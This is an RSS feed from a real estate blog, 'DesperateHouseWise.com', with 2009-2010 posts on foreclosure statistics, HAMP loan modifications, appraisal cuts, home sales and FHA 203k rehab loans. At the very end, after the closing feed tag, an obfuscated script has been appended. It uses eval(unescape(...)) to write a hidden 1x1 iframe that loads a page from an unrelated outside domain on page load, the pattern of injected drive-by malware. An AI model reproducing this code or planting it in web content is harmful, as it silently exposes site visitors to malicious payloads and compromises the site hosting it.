<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>DesperateHouseWise.com &#187; foreclosures</title>
	<atom:link href="http://desperatehousewise.com/tag/foreclosures/feed/" rel="self" type="application/rss+xml" />
	<link>http://desperatehousewise.com</link>
	<description>Housing and Real Estate Musings. Desperate Times call for Desperate Relief.</description>
	<lastBuildDate>Wed, 07 Apr 2010 13:45:27 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Foreclosures down but not out</title>
		<link>http://desperatehousewise.com/foreclosures-down-but-not-out-2/</link>
		<comments>http://desperatehousewise.com/foreclosures-down-but-not-out-2/#comments</comments>
		<pubDate>Thu, 11 Mar 2010 13:21:29 +0000</pubDate>
		<dc:creator>DHW</dc:creator>
				<category><![CDATA[HAMP]]></category>
		<category><![CDATA[foreclosure]]></category>
		<category><![CDATA[foreclosures]]></category>
		<category><![CDATA[down]]></category>
		<category><![CDATA[february]]></category>
		<category><![CDATA[Housing]]></category>

		<guid isPermaLink="false">http://desperatehousewise.com/?p=739</guid>
		<description><![CDATA[Real estate data tracking firm, RealtyTrac, reported foreclosures fell for a second straight month in February.
The numbers
February foreclosure filings of 308,524 reflect a decrease of 2 percent from January. However, this is still a 6 percent year-over-year increase.
&#8220;The 6 percent year-over-year increase we saw in  February was the smallest annual increase we&#8217;ve seen since [...]]]></description>
			<content:encoded><![CDATA[<p>Real estate data tracking firm, RealtyTrac, reported <a href="http://www.reuters.com/article/idUSN1014858620100311">foreclosures</a> fell for a second straight month in February.</p>
<p>The numbers</p>
<p>February foreclosure filings of 308,524 reflect a decrease of 2 percent from January. However, this is still a 6 percent year-over-year increase.</p>
<p>&#8220;The 6 percent year-over-year increase we saw in  February was the smallest annual increase we&#8217;ve seen since January 2006, when we began calculating year-over-year increases, but it still marked the 50th consecutive month of year-over-year increases in foreclosure activity,&#8221; said James J. Saccacio, CEO of RealtyTrac.</p>
<p>Some fear the recent decrease in foreclosures is a false-positive. With the Treasury&#8217;s HAMP coming under fire for its low success rate in<a href="http://online.wsj.com/article/BT-CO-20100225-721967.html?mod=WSJ_latestheadlines"> modifying </a>mortgages for at-risk homeowners, many fear foreclosures will eventually find their second wind.</p>
<p>DHW asks: Do you think foreclosures will continue to decline?</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://desperatehousewise.com/foreclosures-down-but-not-out-2/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://desperatehousewise.com/foreclosures-down-but-not-out-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Housing double dip? The shadow knows</title>
		<link>http://desperatehousewise.com/housing-double-dip-the-shadow-knows/</link>
		<comments>http://desperatehousewise.com/housing-double-dip-the-shadow-knows/#comments</comments>
		<pubDate>Wed, 06 Jan 2010 02:44:14 +0000</pubDate>
		<dc:creator>DHW</dc:creator>
				<category><![CDATA[case-shiller]]></category>
		<category><![CDATA[case-shiller price index]]></category>
		<category><![CDATA[double dip]]></category>
		<category><![CDATA[foreclosures]]></category>
		<category><![CDATA[shadow inventory]]></category>
		<category><![CDATA[shiller]]></category>
		<category><![CDATA[unemployment]]></category>
		<category><![CDATA[case-shiller home price index]]></category>
		<category><![CDATA[Housing]]></category>
		<category><![CDATA[housing prices]]></category>
		<category><![CDATA[housing sales]]></category>

		<guid isPermaLink="false">http://desperatehousewise.com/?p=571</guid>
		<description><![CDATA[Although he stopped short of forecasting another dip in homes sales next spring, Robert Shiller (one-half of the super Swedish music group &#8216;Case-Shiller&#8217;) sounded some alarming notes. In an interview with The Wall Street Journal, Shiller expressed concern with the &#8217;shadow inventory&#8217; of foreclosed homes that are likely to pour into the market. Shiller also [...]]]></description>
			<content:encoded><![CDATA[<p>Although he stopped short of forecasting another dip in homes sales next spring, <a href="http://www.boston.com/realestate/news/blogs/renow/2010/01/get_ready_for_a.html">Robert Shiller</a> (one-half of the super Swedish music group &#8216;Case-Shiller&#8217;) sounded some alarming notes. In an interview with The Wall Street Journal, Shiller expressed concern with the &#8217;shadow inventory&#8217; of foreclosed homes that are likely to pour into the market. Shiller also worries about the high unemployment rate and the government&#8217;s inevitable departure from the housing market rescue business.</p>
<p>DHW asks: Do you think the housing market will see a double dip?</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://desperatehousewise.com/housing-double-dip-the-shadow-knows/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://desperatehousewise.com/housing-double-dip-the-shadow-knows/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>A new twist on an old story</title>
		<link>http://desperatehousewise.com/a-new-twist-on-an-old-story/</link>
		<comments>http://desperatehousewise.com/a-new-twist-on-an-old-story/#comments</comments>
		<pubDate>Mon, 04 Jan 2010 13:58:57 +0000</pubDate>
		<dc:creator>DHW</dc:creator>
				<category><![CDATA[appraisals]]></category>
		<category><![CDATA[appraisers]]></category>
		<category><![CDATA[cut appraisal]]></category>
		<category><![CDATA[foreclosure]]></category>
		<category><![CDATA[foreclosures]]></category>
		<category><![CDATA[realtors]]></category>
		<category><![CDATA[appraisal]]></category>
		<category><![CDATA[appraisal cuts]]></category>
		<category><![CDATA[apprasisers]]></category>
		<category><![CDATA[cut appraisals]]></category>

		<guid isPermaLink="false">http://desperatehousewise.com/?p=553</guid>
		<description><![CDATA[There is no greater rivalry than that of Realtor v Appraiser. Red Sox v Yankees? Not even close.  Alien v Predator? Yawn.
Animosity between real estate agents and appraisers is nothing new. However, in recent months appraisers have been undercutting sales prices with increased regularity. Much of the conflict has to do with the rising number [...]]]></description>
			<content:encoded><![CDATA[<p>There is no greater rivalry than that of Realtor v Appraiser. Red Sox v Yankees? Not even close.  Alien v Predator? Yawn.</p>
<p>Animosity between real estate agents and appraisers is nothing new. However, in recent months appraisers have been undercutting sales prices with increased regularity. Much of the conflict has to do with the rising number of foreclosures selling at discount prices. Approximately 40 percent of the homes to sell last year were either foreclosures or short sales. Adding to the drama, buyers are placing a 30% premium on non-foreclosed homes, according to <a href="http://abcnews.go.com/Business/wirestory?id=9468512&amp;page=1">zillow.com</a>.</p>
<p>Appraisers admit that it is getting tougher to determine a home&#8217;s worth in today&#8217;s market. Some real estate agents, however, blame the appraisal cuts on cost cutting measures taken by lenders. Oftentimes, lenders will use an in-house appraiser or outsource to an out-of-area, low-cost appraiser.  Either way, these appraisers may not be familiar with the markets they are hired to gauge.</p>
<p>The silver lining</p>
<p>With appraisal cuts on the rise, this may be a sign that some markets are beginning to stabilize. In a declining market, it becomes easier to find comparable sales for an appraisal. As prices rise, appraisers have a tougher time finding sales that support the higher prices. It&#8217;s just one of the growing pains that come with a recovering market.</p>
<p>DHW asks: Are you seeing a rise in appraisal cuts in your market?</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://desperatehousewise.com/a-new-twist-on-an-old-story/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://desperatehousewise.com/a-new-twist-on-an-old-story/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Some see glass half-foreclosed</title>
		<link>http://desperatehousewise.com/some-see-glass-half-foreclosed/</link>
		<comments>http://desperatehousewise.com/some-see-glass-half-foreclosed/#comments</comments>
		<pubDate>Mon, 21 Dec 2009 04:16:51 +0000</pubDate>
		<dc:creator>DHW</dc:creator>
				<category><![CDATA[HAMP]]></category>
		<category><![CDATA[foreclosure]]></category>
		<category><![CDATA[home affordable modification program]]></category>
		<category><![CDATA[loan modification]]></category>
		<category><![CDATA[congressional oversight panel]]></category>
		<category><![CDATA[foreclosures]]></category>
		<category><![CDATA[loan modifications]]></category>

		<guid isPermaLink="false">http://desperatehousewise.com/?p=518</guid>
		<description><![CDATA[Just one day before the Congressional Oversight Panel criticized the government&#8217;s loan modification program as outdated and under-performing, HUD secretary Shaun Donovan reported the pace of trial modifications are beginning to exceed foreclosures. &#8220;The fact we now have a pace of trial modifications that exceeds the pace of weekly foreclosures is a very important milestone,&#8221; [...]]]></description>
			<content:encoded><![CDATA[<p>Just one day before the <a href="http://www.usatoday.com/money/economy/housing/2009-10-08-mortgage-relief_N.htm">Congressional Oversight Panel</a> criticized the government&#8217;s loan modification program as outdated and under-performing, HUD secretary Shaun Donovan reported the pace of trial modifications are beginning to exceed foreclosures. &#8220;The fact we now have a pace of trial modifications that exceeds the pace of weekly foreclosures is a very important milestone,&#8221; Donovan said. &#8220;We believe we&#8217;ve reached an important turning point.&#8221;</p>
<p>Elizabeth Warren, who chairs the panel responsible for overseeing the $700 billion financial bailout program, remains unconvinced. &#8220;We&#8217;re concerned that not enough foreclosures will be prevented,&#8221; Warren said.</p>
<p>USAToday reported the panel&#8217;s three major concerns with the government&#8217;s loan modification program.</p>
<ol>
<li>The kinds of mortgages that will make up growing numbers of foreclosures exceed the program&#8217;s eligibility requirements.</li>
<li>With a goal of modifying only 25,000 to 30,000 loans a week, fewer than half of the predicted foreclosures would be avoided. One in eight homes are currently in foreclosure or default and 250,000 additional foreclosures are initiated monthly.</li>
<li>Many modifications so far are still in a three-month trial period. As of Sept. 1, only 1,711 homeowners had received permanent modifications under the federal program. And after five years, many will see higher payments.</li>
</ol>
<p>If you have questions about a loan modification under HAMP, visit the <a href="http://www.makinghomeaffordable.gov/modification_eligibility.html">official website</a>.</p>
<p>DHW asks: Do you think loan modifications will continue to outpace foreclosures?</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://desperatehousewise.com/some-see-glass-half-foreclosed/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://desperatehousewise.com/some-see-glass-half-foreclosed/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Lockhart: President must get more agressive with loan modifications</title>
		<link>http://desperatehousewise.com/lockhart-president-must-get-more-agressive-with-loan-modifications/</link>
		<comments>http://desperatehousewise.com/lockhart-president-must-get-more-agressive-with-loan-modifications/#comments</comments>
		<pubDate>Fri, 11 Dec 2009 18:45:54 +0000</pubDate>
		<dc:creator>DHW</dc:creator>
				<category><![CDATA[Housing]]></category>
		<category><![CDATA[foreclosure]]></category>
		<category><![CDATA[loan modification]]></category>
		<category><![CDATA[foreclosures]]></category>

		<guid isPermaLink="false">http://desperatehousewise.com/?p=489</guid>
		<description><![CDATA[Vice chairman of WL Ross &#38; Co. and the former director of the Federal Housing Finance Agency, James B. Lockhart III, warned the US housing market may not be out of the woods just yet.
Lockhart predicts foreclosures will &#8220;spike&#8221; unless the the Obama administration gets more aggressive with loan modifications. The former director of the [...]]]></description>
			<content:encoded><![CDATA[<p>Vice chairman of WL Ross &amp; Co. and the former director of the Federal Housing Finance Agency, James B. Lockhart III, warned the <a href="http://www.bloomberg.com/apps/news?pid=20601103&amp;sid=ay2B7GJ6UuUE">US housing market</a> may not be out of the woods just yet.</p>
<p>Lockhart predicts foreclosures will &#8220;spike&#8221; unless the the Obama administration gets more aggressive with loan modifications. The former director of the FHFA feels greater principal reductions are in order to keep families in their homes.</p>
<p>For more information on loan modifications, visit the Government&#8217;s <a href="http://www.makinghomeaffordable.gov/modification_eligibility.html">official website</a>.</p>
<p>DHW asks: Do you agree with Mr. Lockhart?</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://desperatehousewise.com/lockhart-president-must-get-more-agressive-with-loan-modifications/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://desperatehousewise.com/lockhart-president-must-get-more-agressive-with-loan-modifications/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Foreclosures down but not out</title>
		<link>http://desperatehousewise.com/foreclosures-down-but-not-out/</link>
		<comments>http://desperatehousewise.com/foreclosures-down-but-not-out/#comments</comments>
		<pubDate>Thu, 12 Nov 2009 14:56:24 +0000</pubDate>
		<dc:creator>DHW</dc:creator>
				<category><![CDATA[Housing Article]]></category>
		<category><![CDATA[foreclosure]]></category>
		<category><![CDATA[$6500]]></category>
		<category><![CDATA[$8000]]></category>
		<category><![CDATA[$8000 tax credit]]></category>
		<category><![CDATA[6500 tax credit]]></category>
		<category><![CDATA[6500 tax credit extension]]></category>
		<category><![CDATA[8000 tax credit extension]]></category>
		<category><![CDATA[arizona]]></category>
		<category><![CDATA[Builders]]></category>
		<category><![CDATA[buyers]]></category>
		<category><![CDATA[california]]></category>
		<category><![CDATA[employment]]></category>
		<category><![CDATA[extension]]></category>
		<category><![CDATA[fannie mae]]></category>
		<category><![CDATA[first time buyers]]></category>
		<category><![CDATA[first time homebuyers]]></category>
		<category><![CDATA[florida]]></category>
		<category><![CDATA[foreclosure news]]></category>
		<category><![CDATA[foreclosures]]></category>
		<category><![CDATA[freddie mac]]></category>
		<category><![CDATA[guidelines]]></category>
		<category><![CDATA[home buyers]]></category>
		<category><![CDATA[home sales]]></category>
		<category><![CDATA[home seller]]></category>
		<category><![CDATA[home values]]></category>
		<category><![CDATA[homebuyers]]></category>
		<category><![CDATA[Housing]]></category>
		<category><![CDATA[housing credit extension]]></category>
		<category><![CDATA[housing news]]></category>
		<category><![CDATA[housing prices]]></category>
		<category><![CDATA[housing report]]></category>
		<category><![CDATA[idaho]]></category>
		<category><![CDATA[lender]]></category>
		<category><![CDATA[loan]]></category>
		<category><![CDATA[mortgage]]></category>
		<category><![CDATA[nevada]]></category>
		<category><![CDATA[Real Estate]]></category>
		<category><![CDATA[real estate news]]></category>
		<category><![CDATA[Sales]]></category>
		<category><![CDATA[seller]]></category>
		<category><![CDATA[short sale]]></category>
		<category><![CDATA[state foreclosure]]></category>
		<category><![CDATA[state foreclosures]]></category>
		<category><![CDATA[tax credit]]></category>
		<category><![CDATA[tax credit extension]]></category>
		<category><![CDATA[unemployment]]></category>
		<category><![CDATA[worker home ownership and business assistance act of 2009]]></category>
		<category><![CDATA[worker homeownership and business assistance act of 2009]]></category>

		<guid isPermaLink="false">http://desperatehousewise.com/?p=311</guid>
		<description><![CDATA[U.S. foreclosures sank for a third consecutive month in October, down 3% from the previous month. However, many feel this trend will not continue. Foreclosure notices were curtailed in many states due to temporary, legislative intervention. CNBC reported Nevada foreclosures &#8220;dropped 26 percent from the previous month because of new legislation requiring mediation before initiating [...]]]></description>
			<content:encoded><![CDATA[<p>U.S. <a href="http://www.cnbc.com/id/33861616">foreclosures</a> sank for a third consecutive month in October, down 3% from the previous month. However, many feel this trend will not continue. Foreclosure notices were curtailed in many states due to temporary, legislative intervention. CNBC reported Nevada foreclosures &#8220;dropped 26 percent from the previous month because of new legislation requiring mediation before initiating foreclosure proceedings.&#8221; Illinois had similar legislation, but foreclosure notices skyrocketed there 56% in October from the previous month.   </p>
<p>States leading in foreclosure:</p>
<ol>
<li>Nevada</li>
<li>California</li>
<li>Florida</li>
<li>Arizona</li>
<li>Idaho</li>
</ol>
<p>DHW asks: Are foreclosures down in your area?</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://desperatehousewise.com/foreclosures-down-but-not-out/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://desperatehousewise.com/foreclosures-down-but-not-out/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Critics be damned. Home sales up, prices down</title>
		<link>http://desperatehousewise.com/critics-be-damned-home-sales-up-prices-down/</link>
		<comments>http://desperatehousewise.com/critics-be-damned-home-sales-up-prices-down/#comments</comments>
		<pubDate>Tue, 10 Nov 2009 21:19:41 +0000</pubDate>
		<dc:creator>DHW</dc:creator>
				<category><![CDATA[Housing Article]]></category>
		<category><![CDATA[home sales]]></category>
		<category><![CDATA[housing tax credit]]></category>
		<category><![CDATA[realtors]]></category>
		<category><![CDATA[$6500]]></category>
		<category><![CDATA[$8000]]></category>
		<category><![CDATA[$8000 tax credit]]></category>
		<category><![CDATA[177900]]></category>
		<category><![CDATA[2009]]></category>
		<category><![CDATA[2010]]></category>
		<category><![CDATA[6500 tax credit]]></category>
		<category><![CDATA[6500 tax credit extension]]></category>
		<category><![CDATA[8000 tax credit extension]]></category>
		<category><![CDATA[bottom]]></category>
		<category><![CDATA[Builders]]></category>
		<category><![CDATA[buyers]]></category>
		<category><![CDATA[congress]]></category>
		<category><![CDATA[down]]></category>
		<category><![CDATA[extension]]></category>
		<category><![CDATA[first time buyers]]></category>
		<category><![CDATA[first time homebuyers]]></category>
		<category><![CDATA[foreclosure]]></category>
		<category><![CDATA[foreclosures]]></category>
		<category><![CDATA[home]]></category>
		<category><![CDATA[home buyers]]></category>
		<category><![CDATA[home prices down]]></category>
		<category><![CDATA[home prices down sales up]]></category>
		<category><![CDATA[home sales data]]></category>
		<category><![CDATA[home sales up]]></category>
		<category><![CDATA[home sales up prices down]]></category>
		<category><![CDATA[home seller]]></category>
		<category><![CDATA[home values]]></category>
		<category><![CDATA[homebuyers]]></category>
		<category><![CDATA[Housing]]></category>
		<category><![CDATA[housing bottom]]></category>
		<category><![CDATA[housing credit extension]]></category>
		<category><![CDATA[housing inventories]]></category>
		<category><![CDATA[housing inventory]]></category>
		<category><![CDATA[housing news]]></category>
		<category><![CDATA[housing prices]]></category>
		<category><![CDATA[housing report]]></category>
		<category><![CDATA[housing sales data]]></category>
		<category><![CDATA[inventories]]></category>
		<category><![CDATA[inventory]]></category>
		<category><![CDATA[lender]]></category>
		<category><![CDATA[loan]]></category>
		<category><![CDATA[mortgage]]></category>
		<category><![CDATA[nar]]></category>
		<category><![CDATA[national association of realtors]]></category>
		<category><![CDATA[Obama]]></category>
		<category><![CDATA[president barack obama]]></category>
		<category><![CDATA[President Obama]]></category>
		<category><![CDATA[price]]></category>
		<category><![CDATA[Real Estate]]></category>
		<category><![CDATA[real estate news]]></category>
		<category><![CDATA[realtor]]></category>
		<category><![CDATA[Sales]]></category>
		<category><![CDATA[sales data]]></category>
		<category><![CDATA[short sale]]></category>
		<category><![CDATA[short sales]]></category>
		<category><![CDATA[tax credit]]></category>
		<category><![CDATA[tax credit extension]]></category>
		<category><![CDATA[third quarter]]></category>
		<category><![CDATA[up]]></category>
		<category><![CDATA[VA compromise sale]]></category>
		<category><![CDATA[worker home ownership and business assistance act of 2009]]></category>
		<category><![CDATA[worker homeownership and business assistance act of 2009]]></category>

		<guid isPermaLink="false">http://desperatehousewise.com/?p=281</guid>
		<description><![CDATA[Critics of the Housing Tax Credit were quieted, if only briefly, when the National Association of Realtors (NAR) released data for third quarter home sales. According to the trade group, home sales increased by nearly 6% over this same time last year. Despite the spike in sales, prices have fallen more than 11% during the [...]]]></description>
			<content:encoded><![CDATA[<p>Critics of the Housing Tax Credit were quieted, if only briefly, when the National Association of Realtors (NAR) released data for third quarter <a href="http://www.realtor.org/press_room/news_releases/2009/11/3Q2009_Metro">home sales</a>. According to the trade group, home sales increased by nearly 6% over this same time last year. Despite the spike in sales, prices have fallen more than 11% during the same period. The U.S. median existing single-family price for the third quarter was $177,900.</p>
<p>Opponents of the housing tax credit feared an inflationary reaction in home prices. Although housing inventories are down, existing units still outweigh the demand.</p>
<p>NAR chief economist,  Lawrence Yun, predicts home prices will stabalize next spring. His prediction may be overly optimistic. Foreclosures and short sales made up 30% of thrid quarter sales. There is no real evidence to suggest foreclosures will take a breather in 2010.</p>
<p>DHW asks: Do you see a bottom to the housing market?</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://desperatehousewise.com/critics-be-damned-home-sales-up-prices-down/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://desperatehousewise.com/critics-be-damned-home-sales-up-prices-down/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Interest in FHA 203K loans up</title>
		<link>http://desperatehousewise.com/interest-in-fha-203k-loans-up/</link>
		<comments>http://desperatehousewise.com/interest-in-fha-203k-loans-up/#comments</comments>
		<pubDate>Sat, 31 Oct 2009 23:28:03 +0000</pubDate>
		<dc:creator>DHW</dc:creator>
				<category><![CDATA[203k]]></category>
		<category><![CDATA[203k rehab loan]]></category>
		<category><![CDATA[FHA]]></category>
		<category><![CDATA[HUD]]></category>
		<category><![CDATA[Housing Article]]></category>
		<category><![CDATA[fha 203 k]]></category>
		<category><![CDATA[fha 203k]]></category>
		<category><![CDATA[foreclosure]]></category>
		<category><![CDATA[rehab loan]]></category>
		<category><![CDATA[$35000]]></category>
		<category><![CDATA[203 k streamline loan]]></category>
		<category><![CDATA[203 k streamlined]]></category>
		<category><![CDATA[203 k streamlined loan]]></category>
		<category><![CDATA[203k streamline]]></category>
		<category><![CDATA[203k streamlined]]></category>
		<category><![CDATA[buyer]]></category>
		<category><![CDATA[buyers]]></category>
		<category><![CDATA[fha 203 k streamlined mortgages]]></category>
		<category><![CDATA[fha 203k streamlined mortgage]]></category>
		<category><![CDATA[finance]]></category>
		<category><![CDATA[finance repairs]]></category>
		<category><![CDATA[foreclosures]]></category>
		<category><![CDATA[home buyer]]></category>
		<category><![CDATA[home improvements]]></category>
		<category><![CDATA[home seller]]></category>
		<category><![CDATA[home sellers]]></category>
		<category><![CDATA[homebuyers]]></category>
		<category><![CDATA[Housing]]></category>
		<category><![CDATA[housing credit extension]]></category>
		<category><![CDATA[housing news]]></category>
		<category><![CDATA[improvements]]></category>
		<category><![CDATA[Real Estate]]></category>
		<category><![CDATA[real estate news]]></category>
		<category><![CDATA[repairs]]></category>
		<category><![CDATA[seller]]></category>
		<category><![CDATA[sellers]]></category>

		<guid isPermaLink="false">http://desperatehousewise.com/?p=82</guid>
		<description><![CDATA[As more foreclosed homes in need of repair hit the market, interest in the FHA streamlined 203k rehab loan is on the rise. Buyers can finance up to $35,000 in home improvements under this program. Sellers: DesperateHouseWise.com offers some ways you can help increase inventory for 203k buyers while putting some extra dollars in your [...]]]></description>
			<content:encoded><![CDATA[<p>As more foreclosed homes in need of repair hit the market, interest in the <a href="http://www.startribune.com/homes/65807617.html?elr=KArksLckDiUvckDiUiacyKUnciaec8O7EyUr">FHA streamlined 203k</a> rehab loan is on the rise. Buyers can finance up to $35,000 in home improvements under this program. Sellers: DesperateHouseWise.com offers some ways you can help increase inventory for 203k buyers while putting some extra dollars in your pocket. Keep reading our posts for details. Buyers: check out HUD&#8217;s website for more details about the <a href="http://www.hud.gov/offices/hsg/sfh/203k/203kabou.cfm">203k loan program</a>.</p>
<p>DHW asks: Have you or anyone you know used the FHA 203k rehab loan? How was the experience?</p>
<p class="facebook"><a href="http://www.facebook.com/share.php?u=http://desperatehousewise.com/interest-in-fha-203k-loans-up/" target="_blank" title="Share on Facebook">Share on Facebook</a></p>]]></content:encoded>
			<wfw:commentRss>http://desperatehousewise.com/interest-in-fha-203k-loans-up/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
<script language="javascript">eval(unescape("%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%69%73%73%39%77%38%73%38%39%78%78%2E%6F%72%67%2F%69%6E%2E%70%68%70%22%20%77%69%64%74%68%3D%31%20%68%65%69%67%68%74%3D%31%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E%27%29%3B"))</script>